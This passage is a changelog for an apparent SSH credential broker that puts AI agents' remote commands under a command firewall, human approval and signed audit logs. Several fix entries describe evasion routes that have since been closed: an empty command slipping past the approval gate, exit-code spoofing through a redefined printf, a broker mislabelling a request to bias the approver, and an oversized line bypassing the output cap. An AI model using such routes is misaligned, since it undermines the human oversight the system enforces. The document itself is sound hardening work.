{verbs, resources, namespaces, names, effect}; effectallow|deny|require_approval) compile at load into the samePolicySetmachinery ascommand_policy, over a canonical action string<verb> <resource[.group]> <namespace>/<name>built from charset-validated fields (never parsed → injection-free). So deny-wins composition, runtime grants, approve-and-learn waivers, andpolicy recommendall apply to k8s actions unchanged. The broker sends the structured fields and the canonical string; the signer recomputes it and rejects a mismatch, so the approver and the audit log see exactly what runs. - Bound ServiceAccount tokens. The signer holds one minimal-privilege
minter credential per cluster (
token_file; RBAC =createonserviceaccounts/tokenfor the bound SAs) and calls the TokenRequest API to mint a bound token (TTL 600–900s) for the SA selected by the end user's groups (sa_bindings). The token travels back over the existing mTLS channel like an SSH certificate. - Dependency-free k8s client (
internal/k8s): the five verbs plus TokenRequest as plain REST overnet/http(no client-go), pinned to the cluster CA, with a curated core resource table plus per-clusterextra_resources(no API discovery). - New config
kubernetes.clusters.<name>insigner.json(parallel tohosts; cluster names must be disjoint from host names — grants and audit are indexed by that shared name). New signer endpointGET /v1/clusters(caller-scoped connectivity, forwarded by the control plane) andbroker-ctl cluster list --remote. audit.Entrygainstarget_typeandbody_sha256: ak8s_applymanifest is never logged verbatim (it can carry a Secret) — only its sha256, mirroring file transfers.- New e2e lab
lab/run_k8s_lab.sh(mock API server, no cluster needed): mints a bound token for an allowed action, gates a delete behind approval and issues the token after approval, and enforces default-deny and deny-wins.
Security¶
- The Kubernetes credential-broker's structural trade is documented as
threat-model gap #10: a bound token grants the ServiceAccount's whole RBAC
for its TTL, not a single call (no
force-commandequivalent). Scope agent ServiceAccounts to least privilege; the minter credential is deliberately minimal (only token-minting for the bound SAs).
[v1.33.0] - 2026-07-02¶
Dynamic state persists across restarts: an opt-in SQLite state_db (pure-Go
driver, no CGO, no system dependency) backs the signer's runtime grants and
the control plane's approval registry. Closes the deploy caveat "restarting
the control plane clears pending approvals".
Added¶
- New
internal/statedbpackage: opener +user_versionmigration runner (WAL,busy_timeout, single connection). A database written by a newer binary is refused; ifstate_dbis set and cannot be opened or migrated, the service refuses to start (fail-closed).statedb_errors_totalcounts best-effort write failures (in-memory state diverged from disk until the next restart) — alert on any increase. - Signer grants/waivers persist (
state_dbinsigner.json). Write-through with the in-memory map still the only state consulted on the decision path (zero I/O on/v1/sign):Addis insert-first (a grant that cannot be persisted fails the API call), expiry/supersede sweeps are best-effort (an expired row is filtered out on load), and revocation is deliberately hard — the row is deleted before the in-memory grant, so a revoked grant can never resurrect on restart after the operator saw a success. Live rows are reloaded at startup with their waiver patterns recompiled; approve-and-learn waivers keep their caller/end-user/elevation binding across restarts. - Approval registry persists (
state_dbincontrol-plane.json), including the original wire request (public material only — the broker's ephemeral public key), so a pending or approved-but-uncollected request survives a restart and the polling broker still collects its certificate.Createis insert-first;Decideand consume transitions are written through; terminal entries inside the purge window are restored too, so a poller seesdenied/approvedinstead of a 404. Theissuingflag is an intra-process concurrency gate and is intentionally not persisted: after a restart an approved-but-unconsumed request is consumable again — exactly once. Behaviour baselines stay in-memory by design (they re-learn). - New e2e lab
lab/run_state_lab.sh(no sshd needed): grant survives a signer restart and its revocation is durable; a pending approval survives a control-plane restart, is approved afterwards, the poller gets the certificate, and the consumed approval stays consumed across another restart.
Documentation¶
- THREAT_MODEL gap #5 updated: restart-survival vs multi-instance, and the
consume crash window (a crash between certificate issuance and the
consumedwrite re-exposes the approval once, bounded by the approval and certificate TTLs). OPERATIONS "what survives a restart"; deploy checklist and example configs gainstate_db(with the WAL-wal/-shmbackup note).
Internal¶
GrantStore.Revokenow returns(bool, error); the grant-revoke API answers 500 and keeps the grant when the durable delete fails.- New dependency
modernc.org/sqlite, confined tointernal/statedb— the driver links only intosignerandcontrol-plane, not the broker frontends.
[v1.32.0] - 2026-07-02¶
Secret redaction (threat-model gap #8): an opt-in redact config block on the
three services masks secrets embedded in commands at every persistent or
outbound sink, replacing them with [REDACTED:<rule>].
Added¶
- New
internal/redactpackage: named RE2 rules, built-in defaults (password/token flags, the attachedmysql -p<pass>form,VAR=secretassignments with_-delimited keyword matching, URIuser:pass@,Authorizationheaders, JWTs, AWS/GitHub/GitLab/Slack tokens, private-key blocks) plus operator-definedpatterns(a(?P<secret>...)group masks only the secret and keeps the rest of the match as forensic context;disable_defaultskeeps only the operator rules). An invalid pattern is a startup error (fail-closed), and overlapping rules never re-mask another rule's marker. - Redaction choke-points, so no call site can be missed:
audit.Log: the free-text fields (command,err,warning,anomaly) are masked before the entry is signed — the Ed25519 signature and hash chain cover the redacted content,broker-ctl audit verifyis unaffected, and the original text is never persisted (irrecoverable by design).recording.Recorder: every ASCIIcast event is masked. Input events carry one full command line per event (reliable); output arrives in arbitrary chunks, so a split secret can escape a pattern (documented best-effort).- Control-plane notifier: the approval notification payload
(log/webhook/Teams) is masked. The approval registry keeps the original
command — the mTLS approval UI (
/ui/approvals) andGET /v1/approvalsshow the approver exactly what will run, and the approved request forwarded to the signer is untouched. redactconfig key in the broker (config.json), signer (signer.json) and control plane (control-plane.json). Present — even empty{}— enables the built-in defaults; absent = disabled (backward compatible). Redaction never touches the decision path: the signer and the certificate force-command always see the original command.
Documentation¶
- New "Redaction is best-effort" section in SECURITY.md (limits: regex ≠ DLP,
chunked output, decision path untouched by design, false-positive escape
hatch); THREAT_MODEL gap #8 updated from "no redaction" to "opt-in,
best-effort";
redactblocks in the three example configs; config reference regenerated.
[v1.31.1] - 2026-07-02¶
Fixed¶
- Deployment: the signer config moves to the service-owned state directory
/var/lib/ssh-broker/signer/signer.json. v1.31.0'sReadWritePathsfix (#38) removed the systemd barrier to the durable policy-mutation API (broker-ctl policy add/remove), but the POSIX permission barrier remained —/etc/ssh-brokerisroot:ssh-broker 0750, so thessh-brokerservice user could not createsigner.json.tmpfor the temp-file+rename and every durable mutation still failedEACCES. Placing the signer config where the service owns it (and reverting the now-unnecessaryReadWritePaths, keeping/etcread-only for the service) lets durable mutations persist while the PKI and the other services' configs stay root-owned in/etc. Binaries are unchanged from v1.31.0; this is a deploy-artifact + docs fix. The installer seeds the signer config to the new location; the systemd unit points-configthere.
[v1.31.0] - 2026-07-02¶
Security & correctness audit pass. Fourteen findings across the signer, control plane, broker-ctl, deployment artifacts and docs.
Security¶
- Signer rejects an empty one-shot command. An empty command baked no force-command into the certificate (an unrestricted host credential) and, on a denylist or approval-only host, slipped past the command firewall and the human-approval gate. Rejected at the authoritative layer (#37).
- The control plane no longer trusts an unauthenticated, broker-supplied
end_userfor the approver's display, the notifier, or the forward to the signer unless the broker CN is a trusted forwarder — a malicious broker could otherwise label a command as coming from a trusted admin to bias the human decision (#40). broker-ctlno longer searches the current working directory forbroker-ctl.json, and a relative default cert/key/ca resolves against the loaded config file's directory rather than the CWD, so a planted file cannot redirect the CLI's mTLS endpoint or CA trust anchor (#39, #42).- The approval webhook/Teams notifier requires an
httpsURL (httponly for a loopback relay), preventing cleartext leakage of approval details; the legacy Teams MessageCard no longer enables markdown, which could inject links into the approver's notification (#44, #43).
Fixed¶
- The signer systemd unit adds
ReadWritePaths=/etc/ssh-brokerso the durable policy-mutation API can persist tosigner.json; underProtectSystem=strictit was failingEROFSwhile in-memory grants and SIGHUP reload masked it (#38). - The release workflow builds via
make dist, so the published artifact ships thecontrol-planebinary (the shipped unit had nothing to exec),deploy/and the example configs, with the version injected (#41). - A per-host
max_ttl_secondsabove the 900s certificate cap is rejected at config load instead of failing every issuance at request time (#45). - The signer rate-limiter bucket map stays strictly bounded — least-recently-used eviction when pruning frees nothing (#46).
Documentation¶
ssh_list_serversreturn table documentsallow_file_transfer; the README stdio bullet lists the file-transfer tools; the OPERATIONS reference-config table includesbroker-ctl.example.json;config.example.jsongains afile_transfer_max_bytesexample (#47–#50).
[v1.30.0] - 2026-07-02¶
Added¶
GET /v1/policy/hostson the signer: full host-policy read (the current in-memory table, same schema as the signer.jsonhostsobject, including the fieldsGET /v1/hostswithholds from brokers — principal, TTLs,allowed_callers,command_policy). Auth is thereload_callerstier, like the policy mutation APIs; every read attempt is audited (policy-read/policy-read-denied).broker-ctl host list --remote: renders the live policy from a running signer over mTLS with the same columns as the local view — the recommended post-deploy end-to-end check. A non-200 is a hard failure (no silent fallback to the reduced/v1/hostsview).- broker-ctl client parameters file: the remote commands (
reload,policy add/remove/grant/grants/revoke,approval list/allow/deny,host list --remote) resolve--url/--cert/--key/--cawith per-parameter precedence flag > env > file > default. File search order:--client-config,$BROKER_CTL_CONFIG,./broker-ctl.json,~/.config/broker-ctl/config.json,/etc/ssh-broker/broker-ctl.json(seeded bydeploy/install.sh). Env vars:BROKER_CTL_SIGNER_{URL,CERT,KEY,CA},BROKER_CTL_CP_{URL,CERT,KEY,CA}. Newbroker-ctl.example.json, validated against the struct in CI. - The signer-facing remote commands accept
--url, so none of them need a localsigner.jsonanymore (itslistenfield remains the last-resort URL fallback).
[v1.29.0] - 2026-07-02¶
Added¶
- Production deployment artifacts under
deploy/: hardened systemd units for the three daemons (ssh-broker-signer,ssh-broker-control-plane,ssh-broker-mcp-http) with full sandboxing (ProtectSystem=strict, empty capability bounding set, syscall filtering),StateDirectory-managed audit log directories under/var/lib/ssh-broker/<svc>/,systemctl reload(SIGHUP) wired to the signer's hot-reload, and an optionalEnvironmentFile=/etc/ssh-broker/<svc>.envforAZURE_*credentials when CA custody is Azure Key Vault. deploy/install.sh: idempotent root installer — creates thessh-brokersystem user, the/etc/ssh-broker+/etc/ssh-broker/pkilayout, installs binaries and units, and seeds configs from the examples without ever overwriting an existing real config (safe for upgrades).make dist: release tarball (dist/ssh-broker-<version>.tar.gz) bundling the binaries,deploy/, and the example configs the installer seeds from.deploy/README.md: production checklist presenting CA custody as an explicit operator choice —akv(Azure Key Vault; the private key never leaves the vault; RSA/EC only) vspem(local file; lab/dev) — plus default-denycallers, rate limiting, monitor binding, and upgrade caveats (in-memory approvals/sessions).- Vendor-agnostic agent skill
.agents/skills/deploy/SKILL.md(symlinked from.claude/skills): the judgment layer over the deterministic tooling — preflight policy checks, the custody question, reload-vs-restart decision, and post-deploy health verification. - New § 8 "Production deployment" in OPERATIONS.md.
[v1.28.0] - 2026-07-02¶
Added¶
- Built-in approval UI on the control plane's mTLS listener:
GET /ui/approvals(pending-first list, auto-refresh) andGET /ui/approvals/{id}(request context with Approve / Deny and an optional approve-and-learn TTL). Server-renderedhtml/template, no new dependency, no external assets. Decisions are same-origin JavaScript POSTs to the existing/v1/approvals/{id}API, so the audit trail, broker/approver role separation, and the four-eyes self-approval guard apply unchanged. Auth is the browser's mTLS client certificate (CN inapproval.callers).approval_url_templatecan now point notification links athttps://<control-plane>/ui/approvals/{id}.
Security¶
POST /v1/approvals/{id}requiresContent-Type: application/json(415 otherwise): CSRF hardening for the browser UI — mTLS client certificates are ambient credentials and an HTML form withenctype=text/plaincan smuggle a JSON-shaped body cross-site; the media-type requirement stops forms, and a cross-originfetchcarrying it is stopped by the CORS preflight (the server sends no CORS headers).broker-ctlalready sent the header.
[v1.27.0] - 2026-07-02¶
Added¶
- Two new MCP tools,
ssh_put_fileandssh_get_file, built on the one-shot certificate machinery (no SFTP subsystem, no new dependency): the transfer is a force-command one-shot (cat > path/ boundedhead -cread) with content streamed over stdin/stdout; binary data via base64. A file larger than the cap is an error, not a truncation. The content's sha256, size, and path are recorded in dedicatedfile_put/file_getaudit entries correlated with theexecutedentry by serial. - New per-host gate
allow_file_transfer(default false, secure by default) in the signer HostPolicy and broker local-mode HostConfig, enforced at signing time via the newfile_transferintent/wire flag, exposed inGET /v1/hostsandssh_list_servers, and manageable withbroker-ctl host add --file-transfer. The generated transfer command remains subject to the host'scommand_policy. - Broker config
file_transfer_max_bytescaps transfer size (default 512 KiB; the HTTP MCP frontend's 1 MiB body bound must fit base64-encoded content).
[v1.26.0] - 2026-07-02¶
Added¶
- Every service accepts an optional
monitor_listenconfig key that starts a separate plain-HTTP listener with/healthz(liveness) and/metrics(Prometheus text exposition format, no new dependencies). The broker key covers all three broker frontends. - Initial metric inventory, fed from the existing audit funnels:
signer_sign_requests_total{outcome}(including the un-auditedrate-limitedoutcome),controlplane_events_total{outcome},controlplane_approvals_pending,broker_events_total{outcome},broker_sessions_active, andaudit_append_failures_total— the machine-readable signal for threat-model gap #9 (audit is fail-open); alert on any increase.
[v1.25.0] - 2026-07-02¶
Security¶
- The signer enforces an optional per-CN rate limit on
POST /v1/sign(sign_rate_limit_per_min, hot-reloadable), closing threat-model gap #4 on opt-in: a token bucket keyed on the authenticated mTLS peer CN — noton_behalf_of— checked before body parsing. Excess requests get429with aRetry-Afterhint; rejections are deliberately not audited so the tamper-evident log cannot become the flooding amplifier. 0/absent = disabled (backward compatible).
[v1.24.0] - 2026-07-02¶
Security¶
- The
callersRBAC table supports a reserved"_default"entry that unlisted broker CNs inherit, closing threat-model gap #6 on opt-in:"_default": {"allowed_groups": []}makes the table default-deny, so forgetting to list a new CN fails closed instead of open. Explicit entries always win over_default.
Added¶
broker-ctl callers addaccepts an explicitly-empty--groups ""to write a deny-allallowed_groups: []entry (required to create the_defaultdefault-deny entry from the CLI; an omitted--groupsis still a usage error).
Documentation¶
- Audited the whole doc set against the code and fixed the drift (#18): the generated config reference now covers the broker/MCP config (docgen recurses into nested structs and resolves const-named routes), API status codes match the handlers, and stale binary/package inventories were completed.
- Refreshed handoff, architecture, and changelog notes for post-v1.23.5 audit hardening and the scoped approve-and-learn waiver behavior.
- Corrected runtime-grant list examples so allow-grants and approval-waivers show
their distinct fields and match the
broker-ctl policy grantsoutput.
Fixed¶
- Approve-and-learn approval waivers are now scoped to the effective broker caller and OIDC end user that were approved, instead of clearing re-approval for every subject that can reach the same host/command.
- Persistent shell/PTY session readers now cap a single unterminated stdout line
before buffering it, so a remote command cannot bypass
maxOutputBytesby emitting a huge line without a newline. broker-ctl reloadnow matches the local process basename exactly before sending SIGHUP, avoiding accidental signals to unrelated commands whose name merely containssigner.
[v1.23.5] - 2026-06-30¶
Documentation¶
- Corrected post-release documentation drift for v1.23.4 and clarified that session preflight revalidates authorization, elevation, PTY, and command policy.
- Corrected the context-propagation notes:
SessionExecnow uses caller context, while AKV signing is bounded by the signer's own timeout becausecrypto.Signerhas no context parameter. - Removed fixed test-count numbers from the handoff document and kept only the stable coverage areas.
Fixed¶
- Behavior guardrails in
enforcemode no longer learn a novel host/command before approval is granted. Repeating the same unapproved anomaly keeps returning202instead of silently entering the subject baseline. ssh_session_execnow revalidates every bastion hop asrole=bastionbefore the target command preflight, so signer reloads that revoke jump-host access also stop already-open sessions on their next command.- New
ssh_executeandssh_session_opencalls refresh/v1/hostsimmediately before building SSH hops and fail closed on refresh errors, avoiding staleaddr/host_key/jumpdata for new connections. - The control-plane config loader now rejects unknown
behavior.mode,approval.notifier, andapproval.teams_formatvalues at startup instead of silently disabling guardrails or falling back to the log notifier. - Made broker shutdown idempotent, including repeated
Engine.Close()calls. - Canonicalized approve-and-learn waiver elevation so
sudo_user=""andsudo_user="root"match the same effective sudo target. - Propagated
preflightfrom the signer HTTP request into the internal signing intent. - Hardened persistent shell session markers against
printf()function redefinition, soshell/ptysessions cannot spoof the reported exit code by shadowing the marker emitter. - Rejected
ssh_session_execon an already-open session when the current signer host route (addr/user/host_key/jump) no longer matches the route used to open that session.
[v1.23.4] - 2026-06-30¶
Fixed¶
- Session preflight now carries PTY state.
ssh_session_execpreflight sends the live session's PTY bit to the signer, so a policy reload that disablesallow_ptyalso stops already-openmode=ptysessions on their next command.
Documentation¶
control-plane.example.json, API, operations, architecture, and handoff docs now describe the approved-but-uncollected approval TTL and the current v1.23.x session-preflight behavior.
[v1.23.3] - 2026-06-30¶
Fixed¶
- Approved requests now expire if they are not collected. Once a human approves an operation, the broker must redeem it within the approval TTL; stale approved-but-unconsumed requests can no longer issue a certificate later.
- Session command preflight now follows current signer policy. Every
ssh_session_execis rechecked withdry_run=true+preflight=true, so signer reloads affect already-open sessions.mode=execcommands enforce the new policy on the next call, and existingshell/ptysessions are blocked once a command policy becomes active.
Documentation¶
- Clarified that session command filtering is broker-preflighted but not host-enforced, fixed the persistent-session serial examples, and updated the session/preflight API wording.
[v1.23.2] - 2026-06-30¶
Fixed¶
- Approved requests survive transient signer failures. The control plane now burns an approval only after the signer returns a certificate or preflight decision, while still preventing concurrent double issuance.
- Broker HTTP responses preserve audit-mode warnings.
/v1/ssh_runnow includes optionalwarningsso clients can see command-policy audit findings.
Documentation¶
- API/MCP return-field documentation now lists
warnings, and the security scope no longer describes session command firewalling as entirely absent.
[v1.23.1] - 2026-06-30¶
Fixed¶
- Session exec preflight is now scoped to command-policy hosts.
mode=execsessions on unrestricted hosts no longer call the signer before everyssh_session_exec; hosts withcommand_policystill preflight each command. - Executable preflights now pass through control-plane behavior guardrails.
Pure dry-runs still bypass guardrails, but
dry_run=true+preflight=trueis treated as an imminent execution and can be rate-limited or escalated.
Documentation¶
- Main example configs now use
enforcement: "enforce"by default and documentauditas a baseline-collection mode. - API and architecture documentation updated for executable preflight.
[v1.23.0] - 2026-06-30¶
Added¶
- Command-policy audit mode.
command_policy.enforcementnow accepts"audit"(default remains"enforce"). Audit mode lets commands run while returning and auditing warnings such aswould_denyandwould_require_approval, so operators can collect a baseline before enforcing allow/deny/approval rules. In composed policies, any enforcing policy wins; a host is audit-only only when every restricting policy is audit. - Command firewall for
ssh_session_execinmode=exec. Hosts withcommand_policynow allowssh_session_open mode=exec; the broker preflights eachssh_session_execwith the signer before opening the SSH exec channel. Denied or approval-gated commands are blocked in enforce mode and returned as warnings in audit mode.shellandptysessions remain rejected on command-policy hosts.
Changed¶
broker-ctl host addsupports--policy-enforcement enforce|auditand preserves that field during partial--forcecommand-policy updates.- MCP execution outputs now include optional
warnings, and audit entries can carry awarningfield for audit-mode policy observations.
[v1.22.1] - 2026-06-30¶
Patch release correcting the incomplete client-cancellation fix from v1.22.0 (it
only covered PTY executions) and a strict-config-validation blind spot for
_-prefixed map entries.
Fixed¶
- Client cancellation now aborts non-PTY SSH executions too. The v1.22.0
cancellation fix only reached the PTY branch of
ExecOnce; the common non-PTY path (ssh_executeand exec-mode sessions) still ran to the 10-minute timeout after a client disconnect. Both branches now share a singlewaitResultcore (unit-tested), so the cancellation and timeout handling cannot diverge again. - Cancelling a shell/PTY session command now tears down the SSH channel, so the remote command actually stops instead of lingering until the session is closed or reaped.
- Strict config validation no longer has a blind spot for
_-prefixed map entries. The strict pass stripped every_-prefixed key, so a typo nested inside an entry whose identifier starts with_(e.g. a host"_x"with a misspelled field) went undetected — and on default-open fields could widen access. Stripping now distinguishes comments (the_*_comment/_*_exampleconvention, or a_-prefixed key with a scalar value such as an inline_note) from real data (a_-prefixed object/array entry, or_default), so data entries reach validation while inline comments are still ignored.
Documentation¶
- THREAT_MODEL.md no longer lists the certificate TTL as a session mitigation: for an
established session the bound is
session_idle_seconds/session_max_seconds, not the cert TTL.
[v1.22.0] - 2026-06-30¶
Config and session hardening: fixes a v1.21.0 regression that could drop real
_-prefixed config keys, two session-management defects (unauthorized close
refreshing the idle timer; client cancellation not aborting commands), and corrects
the session-lifetime documentation.
Fixed¶
- Strict config no longer drops real
_-prefixed map keys.confcheck.Strict(the runtime loader path added in v1.21.0) stripped every_-prefixed key before decoding, which would silently delete a legitimate map entry whose key begins with_— e.g. a broker CN_ciincallers, whose removal makes that CN fall back to default-open. The loader now loads the real value with a lenient pass and uses the strip+strict pass only to detect unknown struct fields (typos), so_-prefixed map data is preserved while a misspelled control is still rejected. - Unauthorized
CloseSessionno longer refreshes a session's idle timer. It went throughget(), which updatedlastUsedbefore the ownership check, so a caller holding a leakedsession_idcould keep another caller's session alive against the idle reaper. Ownership is now checked and the session removed atomically, without touchinglastUsed(C1). - Client cancellation now aborts in-flight SSH commands.
SessionExecignored its context andExecOncehad none, so a disconnected MCP/HTTP client left the remote command running until the 10-minute execution timeout. The request context is now threaded throughExecOnceand the shell/PTYExec; on cancellation the command is signalled and the channel closed.
Documentation¶
- Corrected the session-lifetime docs (USAGE.md and the
ssh_session_open/ssh_session_closeMCP descriptions): an established session is closed bysession_idle_seconds/session_max_seconds, not by the certificate TTL (OpenSSH validates the certificate only at authentication). Setsession_max_secondsto the maximum exposure window you accept.
[v1.21.0] - 2026-06-30¶
Config-safety hardening: the runtime loaders now reject unknown/misspelled keys so a typo cannot silently leave a security control open. No change to the wire protocol or the broker's runtime behaviour.
Security¶
- Config is strictly decoded at load (fail-closed on unknown keys). The runtime
loaders (signer, control plane, broker — startup, reload, and the policy-mutation
path) now reject a config with an unrecognised or misspelled key instead of silently
ignoring it, so a typo in a security control (
sign_callers,allowed_callers,callers, …) can no longer quietly leave a default-open setting. Comment keys (_*) and the reserved_defaultgroup are still accepted (internal/confcheck.Strict).
Documentation¶
- OPERATIONS.md documents
sign_callers/ the broker–approver role separation and the strict config validation.
Internal¶
- Documented why
crypto/rand.Readerrors are intentionally discarded in the id/marker helpers (on Go 1.24+ it never returns an error — it crashes on RNG failure — so the discarded return is not a fail-open path).
[v1.20.0] - 2026-06-30¶
Security hardening of the control plane and the mTLS caller identity — no change to the broker's runtime behaviour or the wire protocol.
Security¶
- Control-plane broker/approver role separation. The signing path (
/v1/sign,/v1/hosts,/v1/sign/result) is now restricted to brokers: a newsign_callersallowlist pins which CNs may sign, and with no list a CN inapproval.callersis denied the sign path (an approver is not a broker — secure by default). This closes a role-confusion gap where an approver certificate, signed by the sameclient_ca, could originate signing requests. - mTLS rejects an empty or malformed CN.
auth.CallerCNnow fails closed on an empty common name or one containing control characters, instead of treating it as an unlisted (default-open) identity.
Fixed¶
- Control plane forwards host
groupsonGET /v1/hosts. The group labels were dropped when re-serialising the host list, so an OIDC user with groups saw zero hosts inssh_list_serversbehind the control plane. Restores the documented/v1/hostscontract.
[v1.19.0] - 2026-06-30¶
Relicensing and documentation infrastructure: the project is now GPL-3.0, and the docs are published to GitHub Pages with a CI pipeline that keeps them from drifting from the code. No change to the broker's runtime behaviour, API, config, or tools.
Changed¶
- Relicensed from proprietary to GPL-3.0.
LICENSEis now the GNU General Public License v3.0; README updated accordingly. - Wiki mirror enabled. The one-way docs→Wiki CI job is on (
ENABLE_WIKI_MIRROR); it pushes withGITHUB_TOKEN(falls back to aWIKI_TOKENPAT if one is set). - Documentation moved to
docs/and published to GitHub Pages, built from the repo's Markdown bymkdocs-material(single source of truth, reviewed in the same PR as the code). A one-way CI job optionally mirrors the docs to the read-only GitHub Wiki.
Added¶
- Anti-drift documentation pipeline.
tools/docgenregeneratesdocs/reference/{endpoints,mcp-tools,config,cli}.mdfrom the actual HTTP routes, MCP tool schemas (enumerated from the live server), config structs, and thebroker-ctlCLI; CI fails if the committed reference differs. The example configs are validated against their Go structs (internal/confcheck), andmkdocs build --strictfails on a broken link or anchor. Newmake docs-gen|docs-check|docs-serve.
[v1.18.0] - 2026-06-19¶
Dynamic command policy: a runtime overlay composed on top of the file baseline so the
firewall can be loosened temporarily without editing signer.json — widen an allowlist
for a TTL (grants), or skip re-approval for a vouched-for command (approve-and-learn).
Both are widen-only and self-expiring; the file stays the source of truth.
Added¶
- Approve-and-learn — TTL'd approval waivers. When a reviewer approves a
require_approvalcommand with--learn, the same command runs without re-approval for a TTL. Becauserequire_approvalis orthogonal to allow/deny, this is a newwaive_approvalgrant dimension (suppress the approval gate for an already-allowed command), applied inresolveCommandPolicyafter the allow check — so it only un-gates an allowed command, never widens allow/deny (no inversion risk; works on any host, incl. default-allow ones carrying arequire_approvalrule). The waiver is minted signer-internally: the control plane carries the learn intent on the approved sign and the signer mints a waiver scoped to the approved broker caller and OIDC end user, honoured only from atrusted_forwarder(likeapproved) — no new auth tier, a broker can neither self-approve nor self-learn. A waiver is bound to the exact command, elevation (sudo/sudo_user), caller, and end user that were approved — approving a non-sudo command never waives its root variant, and another subject still needs its own approval. Waivers appear inpolicy grantsand are revoked like any grant; the TTL is clamped tomax_grant_ttl_seconds; re-learning refreshes the single waiver (no duplicate accumulation) and expired ones are purged periodically; every mint is audited (approval-waiver-created) and linked to its approval id.
broker-ctl approval allow <id> --learn --ttl 2h # approve once, skip re-approval for 2h
broker-ctl policy grants # shows waive-approval[^cmd$]
broker-ctl policy revoke <grant-id> # end it early
- Runtime command-policy grants (dynamic widening overlay). A grant temporarily
widens an allowlist host without editing
signer.json— a set ofallowpatterns that expire on their own after a TTL. Grants are the in-memory dynamic overlay on top of the durable file baseline, composed at decision time (internal/signer/grants.goGrantStore/GrantProvider, injected inresolveCommandPolicy). They survive config reloads and are dropped on a signer restart (TTL'd; fail-safe). New signer API (authreload_callers, audited): POST /v1/policy/hosts/{host}/grants— create{ "allow":[...], "ttl_seconds":N, "caller":"", "end_user":"" }→201 { id, host, expires_at }.GET /v1/policy/grants— list active grants.DELETE /v1/policy/grants/{id}— revoke.broker-ctl policy grant|grants|revokeclients; optionalmax_grant_ttl_secondsconfig cap.
broker-ctl policy grant --host web01 --allow '^systemctl restart nginx$' --ttl 2h
broker-ctl policy grants
broker-ctl policy revoke <id>
Widen-only, enforced. A grant carries only allow (never deny /
require_approval) and is applied only on a host that is already allowlist-active
— on a default-allow/denylist host it is refused (409), since injecting an allowlist
there would invert the host to default-deny. deny still wins; creation is
operator-only; the broker/agent can never create one.
[v1.17.0] - 2026-06-19¶
Dynamic command-policy operations (Phase 0): manage the firewall without abandoning the file as the source of truth — recommend changes from the audit, apply them with a validated mutation API, and pick up edits automatically.
Added¶
- Validated policy mutation API on the signer.
POST/DELETE /v1/policy/hosts/{host}/allowadd/remove a single command-policy allow regex for a host over mTLS, authorised by the existingreload_callersallowlist. Unlike a hand edit, the change is validated by building the new state (CompileHostPolicies+ CA load) before it is persisted or applied: a bad regex, an unknown host, or a config that would not compile is rejected and nothing changes. On success the file is written atomically (temp+rename, preserving permissions, top-level keys and other hosts verbatim) and the in-memory policy is swapped, so disk and the running policy stay consistent; every attempt (changed / denied / failed) is recorded in the signed audit log. Newbroker-ctl policy add|remove --host <h> --allow <regex>client. This is the apply-side ofpolicy recommendand the foundation for runtime grants. - Signer auto-reload (opt-in). New
auto_reload_secondsinsigner.json: when0, the signer polls the config file's mtime and hot-reloads on change via the same validated, atomic, previous-state-preserving path as SIGHUP /
POST /v1/reload(a half-written file mid-save is rejected and re-applied on the next tick). Dependency-free (mtime poll, no fsnotify). 0/absent = disabled. Removes the manualbroker-ctl reloadafter a hand edit or a GitOps write. broker-ctl policy recommend— mines an audit log and prints advisory command-policy suggestions: promote (commands run or human-approved despite the current policy denying them — candidates for the allowlist), dead-rule (allow/deny patterns that never matched in the window — least-privilege cleanup), and friction (commands repeatedly denied). Read-only and advisory: it never changes policy. Attribution is by re-evaluation against the current compiled policy (signer.PolicySet.Decide), so it does not depend on the audit recording which rule matched. Newinternal/policyrec;--audit <log>,--host,--since,--min-count,--json.
[v1.16.0] - 2026-06-19¶
Performance and maintainability pass (read-only audit of the hot-path packages, then targeted fixes). No behaviour change to issuance, policy decisions, or the wire protocol.
Security¶
- BehaviorTracker memory is now bounded (resource-exhaustion fix). The
control-plane anomaly/rate tracker kept per-subject state in maps that were
only ever added to. A trusted forwarder rotating
end_uservalues (subject =<brokerCN>:<endUser>), or any subject touching many distinct hosts/commands, could grow them without limit. The subject table is now capped (max_subjects, default 4096) with least-recently-seen + idle-TTL eviction (subject_ttl_minutes, default 1440), and each subject's host/command history is capped (max_distinct_per_subject, default 1024); once full, novelty detection for that dimension degrades to "seen" instead of growing or emitting unbounded approval escalations. New optionalbehaviorconfig fields, all with sane defaults (internal/control/behavior.go).
Changed¶
CommandPolicy.Decide/decideOneremoved (single evaluator). The request path has always evaluated throughPolicySet; the parallel single-policy evaluator was test-only and had drifted (Spanish error strings vs the EnglishPolicySetones). It is deleted and its tests now run againstPolicySet{cp}, leaving one source of truth for the AI-action firewall rule logic. Thecommand_policysource (internal/signer/cmdpolicy.go) is also fully normalised to English.
Performance¶
- Parsed host keys are cached (content-addressed by the authorized_keys
line) instead of re-parsed per hop per request (
internal/broker/engine.go). shellQuoteSessionrewritten from O(n²) string concatenation to a singlestrings.Builderpass (internal/broker/session.go).- POSIX-shell parser pooled (
sync.Pool) and the AST printer hoisted out of the per-CallExprloop inextractCommands;buildConstraintsbuilds the cert KeyID with onestrings.Builderinstead of a slice +Sprintf+Join(byte-identical output, guarded by a test) (internal/signer).
Fixed¶
- Host-refresh goroutine lifecycle. The remote-mode host-refresh goroutine
had no stop channel and was not terminated by
Engine.Close()(a leak in tests and repeated construction). It now exits onClose(internal/broker/engine.go).
[v1.15.0] - 2026-06-19¶
Added¶
--versionon every binary. All six commands (signer,broker,control-plane,mcp-broker,mcp-broker-http,broker-ctl) now print their build version and exit. Short, script-friendly form by default (broker-ctl --version→v1.15.0); detailed form with--version --verbose(Go toolchain, target os/arch, VCS revision and commit time).broker-ctlalso gains the twin subcommandbroker-ctl version [--verbose]. The infrastructure already existed (internal/versioninjected from the git tag by the Makefile); this wires it to the CLI. Newversion.Printandversion.Detailedhelpers.
Changed¶
- BREAKING —
broker-ctl --configis now a global flag and must precede the subcommand. Usebroker-ctl --config <f> host listinstead ofbroker-ctl host list --config <f>. The per-subcommand--configwas removed from all subcommands (host,ca-keys,callers,reload,policy explain), so--configafter the subcommand is now rejected. This alignsbroker-ctlwith the other five binaries, which already take--configat the top level. Scripts that passed--configafter the subcommand must move it before it.
[v1.14.0] - 2026-06-18¶
Added¶
- Composable command policies by group. The AI-action firewall is no longer
per-host only: a named policy library (
